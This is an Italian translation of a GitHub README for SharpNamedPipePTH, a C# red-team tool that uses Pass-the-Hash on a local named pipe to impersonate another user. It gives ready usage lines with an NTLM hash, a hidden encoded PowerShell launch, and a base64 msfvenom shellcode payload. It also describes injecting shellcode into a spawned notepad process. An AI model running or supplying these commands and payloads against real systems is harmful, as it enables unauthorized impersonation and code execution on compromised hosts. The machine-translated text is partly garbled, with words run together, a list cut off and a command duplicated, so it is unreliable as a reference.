s3cur3th1ssh1t/sharpnamedpipepthPassa l'Hash a un named pipe per l'impersonazione del token.
Questo progetto è uno strumento C# per utilizzare Pass-the-Hash per l'autenticazione su una Named Pipe locale per l'Impersonificazione di un utente. Sono necessari diritti di amministratore locale o SEImpersonate per utilizzarlo. C'è un post sul blog per spiegazioni:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
È fortemente basato sul codice del progetto Sharp-SMBExec.
Nel passato mi sono trovato in certe situazioni di progetti di Offensive Security, in cui avevo già l'NTLM-Hash di un account utente low privileged e avevo bisogno di una shell per quell'utente sul sistema attualmente compromesso - ma ciò non era possibile con gli attuali strumenti pubblici. Immagina altri due fatti per una situazione del genere - l'NTLM Hash non poteva essere craccato e non esiste alcun processo dell'utente vittima in cui eseguire shellcode o in cui migrare. Questo può sembrare un caso limite assurdo per alcuni di voi. L'ho comunque sperimentato più volte. Non solo in un impegno ho passato molto tempo a cercare lo strumento/tecnica giusto per quella situazione specifica.
I miei obiettivi personali per uno strumento/tecnica erano:
low privileged - a seconda degli obiettivi dell'incarico potrebbe essere necessario accedere a un sistema con un utente specifico come il CEO, account HR, amministratori SAP o altriPurtroppo l'utente impersonato non ha nessuna autenticazione di rete consentita, poiché il nuovo processo utilizza un Token di Impersonificazione che è limitato. Quindi puoi usare questa tecnica solo per azioni locali con un altro utente.
Ci sono due modi per usare SharpNamedPipePTH. Puoi eseguire un binario (con o senza argomenti):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
Oppure puoi eseguire shellcode come altro utente:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Che è msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
Non sono ancora soddisfatto dell'esecuzione dello shellcode, poiché attualmente genera notepad come utente impersonato e inietta shellcode in quel nuovo processo tramite D/Invoke CreateRemoteThread Syscall. Sto ancora cercando la possibilità di generare un processo in background o eseguire shellcode senza avere un processo dell'utente target per l'allocazione della memoria.
